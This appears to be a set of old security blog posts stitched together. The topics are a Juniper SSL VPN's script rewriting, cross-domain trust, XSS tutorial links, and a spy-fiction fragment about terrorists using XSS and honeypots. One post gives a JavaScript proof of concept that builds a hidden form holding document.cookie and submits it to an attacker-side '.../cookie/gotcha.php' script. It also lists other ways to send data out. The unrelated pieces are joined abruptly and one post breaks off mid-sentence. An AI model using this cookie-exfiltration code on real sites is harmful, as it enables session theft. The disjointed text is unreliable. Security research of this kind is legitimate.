Operation n

It’s the first time, I’ve seen a page that modifies Javascript on-the-fly to prevent it from causing XSS. So kudos to Juniper for getting their SSL VPN solution to work so well. The clever thing is that when a externally referenced page is loaded, the Juniper Javascript is used to modify the Javascript references in the external page. The Juniper Javascript are in files loaded from the SSL VPN server and perhaps more importantly, they are loaded up first before any action from the external page takes place. The SSL Javascript has code to assess DOM objects and deny any general skulduggery.
There maybe ways to break it, including blatting out each and overriding every function and possibly using the

This goes back to the post about XSS tutorial and filtering.
Now as you may know, the litmus test for XSS is <script>alert(’michael daw woz ere’);</script>. However, this proof may not satisify some companies who will handwave it off, claiming its not their problem. Allowing vulnerable code to be executed at your website is definitely in their court!
I had to prepare myself for the careless attitude to XSS for a client by devising a proof of concept. Naturally in the end, I didn’t need to. But still, it is a worthwhile exercise.
The bog standard way to use XSS is as a phishing attack. That is to generate a secondary website through client-side scripting, which could look like the current site. Only any details submitted would be to an attacker site. Alternatively, your site could be used as a place for a phishing attack on a different website. This stepping stone style attack will probably cause more embarrassment than anything else.
But I was thinking, “Can you still make a XSS script attack to automatically upload information?”. The short answer is yes, you can! This is despite well-documented fixes to iframes and htmlrequests.
Initially, I thought of three different ways to send information by simply visiting a URL with XSS.
1. window.location
2. meta refresh
3. form submit
The first one does work. Of course, you do get redirected to another location, i.e. the attacker site. However, the attacker can have a page or script that bounces the user back to the attacked site.
The second one doesn’t work. You can create a meta tag object and populate its attributes. However, nothing appears to happen. This probably makes sense, as a page without the meta refresh is already loaded. Simply adding a meta tag object is going to load anything. The following is some code fragment for this.

var meta1 = document.createElement(’<meta>’);
var a;
a = document.createAttribute(’HTTP-EQUIV’);
a.nodeValue = “Refresh”;
meta1.setAttributeNode(a);

a = document.createAttribute(’CONTENT’);
a.nodeValue = “2; URL=http://www.htmlhelp.com/”;
meta1.setAttributeNode(a);

The final one does work. Internet Explorer will inform the user that you transferring to another site. However, Firefox does not appear to do this. Yes, you can create form and then incorporate any information from the attacked site into it and then submit on-the-fly. The following is code fragment from a script I wrote (please note that setAttributes method is simply a function that takes an object and an attribute (hash) array and populates that object with those attributes.

var form1 = document.createElement(’<form>’);
var a = new Array();
a[’action’] = “http://…/cookie/gotcha.php”;
a[’method’] = “get”;
a[’name’] = “t”;
this.setAttributes(form1,a);

form1.appendChild(input);

input = document.createElement(’<input>’);
a = new Array();
a[’name’] = “cookie2″;
a[’type’] = “hidden”;
a[’value’] = document.cookie;
this.setAttributes(input,a);

form1.appendChild(input);

If the same cross-domain fix that is applied to iframes and httprequests is used. This would stop main sites from using form and scripts from other popular sites. For example, the google search on the right hand side of this very page would not work! So due to lingustics, I don’t think that the cross domain approach can be used here.

As an aside, there are a lot of Javascript methods that can be used to do a lot of rendering for your web browser.

I’ve not quite got the Proof of Concept perfect (i.e. the server side needs to redirect to the attacked site) But I mentioning it now because there has been discussions about this already on gnucitizen. This talks bout another a way to send information to a foreign site without user intervention using the weakness in image tags and timeouts. I would go further to say that the weakness lies in the ’src’ property of that tag. And even though this is unproven, I reckon other pluggable tags are affected. Some tags with the src property include applet, embed, img, input type=image, object, xml.

No it’s not about stalking, this time. But trust relationships are firmly on my mind and I ain’t talking about my private life neither!
As you may know there’s lots of trust relationships in computing. Those of you who love Microsoft would know about trust relationships from back in the day. And to me, they are truly something to think about (and has been thought about) when dealing with web applications and weaknesses in them. As well documented, cross domain security issues relating to iframes and recently htmlrequests (xmlhttprequest). The latter allows absolute URLs in the open method. However, it’s almost useless and rarely used now as URIs are converted into the domain that the page resides from.

For an attacker (or in my case, developing a proof-of-concept) to exploit XSS so that information (e.g. cookies) is sent to the attacker’s site, the httprequest looks like it is blocked. The standard XSS-phishing site attack will always be available but this requires user intervention (or dumbness). However, the question is “Can you still make a XSS script attack to automatically upload information?” With iframes and httprequests obviously out of the question, this looks hard! Though, I can still think of 3 or 4 ways around this, I need to try them out first. But let’s just say, you have to go oldskule for most of these ideas. Mind you, if you and I can think of any, they are probably blocked…

On the flipside to this, this makes it very awkward for sharing information between sites on-the-fly, which is the key to web2.0, (social networks, blogs, etc). The work around is to incorporate sharing information techniques in server-side scripts rather than client-side. This could be opened up slightly by having… yes you’ve guessed it… “trust relationships”. A site could instill certain friendly domains as part of the server-side scripts to client browsers. The problem with this though is, it has to be enforced that the trust domains cannot be changed at the client.

I found this interesting site on XSS. It’s a good tutorial if you want to show a newbie/novice something. And certainly demonstrates XSS and cookie stealing quite handily.

http://www.steve.org.uk/Hacks/XSS/index.html

It’s a bit thin on the xss filtering side. There really should be a white paper on XSS filtering techniques. If not, why the hell not! The following looks like a good start…

http://www.ihtb.org/security/xss_hacking_exposed.txt

As I stood up I felt as if I was going to be sick. This was attributed to the sinking feeling in my stomach and my raging curiosity. The man began walking towards the door at the far end of the room. I followed a few steps then paused, “So what’s your name?” I hoped to ask a few more questions to try and figure out what the hell was going on before proceeding any further. “Sorry, where are my manners. I am known to friends as Cole.” “Is this a prison?” Cole began chuckling. “No Michael, you will find this hard to believe but you are in a top secret government facility.”

The butterflies in my stomach began to settle. I felt a lot more at ease due to Cole’s friendly nature. I also sighed with relief after his reassurance that I wasn’t in some holding cell. I was no stranger to secret agencies. In my field I had consulted with all types. I continued walking with Cole.

As we walked my mind was drawn to recent email correspondence between myself and a government contact named Bill Steely. He requested my presence at the MI5 building in London to discuss my whitepaper. I felt confident that all this was related somehow.

I had read a news article that a terrorist organisation called, “ANT” had used Cross Site Scripting attacks to gain access to military intelligence installations. It seemed clear to me now that my services were obviously required and that Cole would discuss this with me at dinner.

ANT knew a number of their websites were being monitored by intelligence agencies around the world. However, it was a risk they had to take, the Internet had become their largest recruitment facility.

News had always shown terrorists pushing when pushed. This time they had planned to pull when pushed.

Specialist security groups around the world had been using honeypots for years to track hacker, worm and virus activity. Honeypots were basically networked systems that were purposely and strategically designed to be vulnerable. These systems were also carefully setup to log all hacker type activity.

Terrorists had found a way to track government intelligence agencies and gain access to highly protected computers using Cross Site Scripting attacks.

Firstly, additional websites posing as terrorist recruitment sites were setup as honeypots. Logs were correlated and put through a statistical reporting system. This system provided information such as, number of visits, the web browser, location and operating system of the visitor.

This operation proved that most visitors were using Internet Explorer. A web browser-fuzzing tool named AxMan – which was designed to automatically find open holes in Internet Explorer, was used to locate Zero Day browser vulnerabilities. Zero Day exploits were those that were not yet known or made public. Therefore, no security fix was available.

References:

• http://metasploit.com/users/hdm/tools/axman/
• http://www.newshounds.us/2006/07/09/kasich_leaks_national_security_secrets_is_this_treason.php
• http://www.gnucitizen.org/blog/xssing-the-lan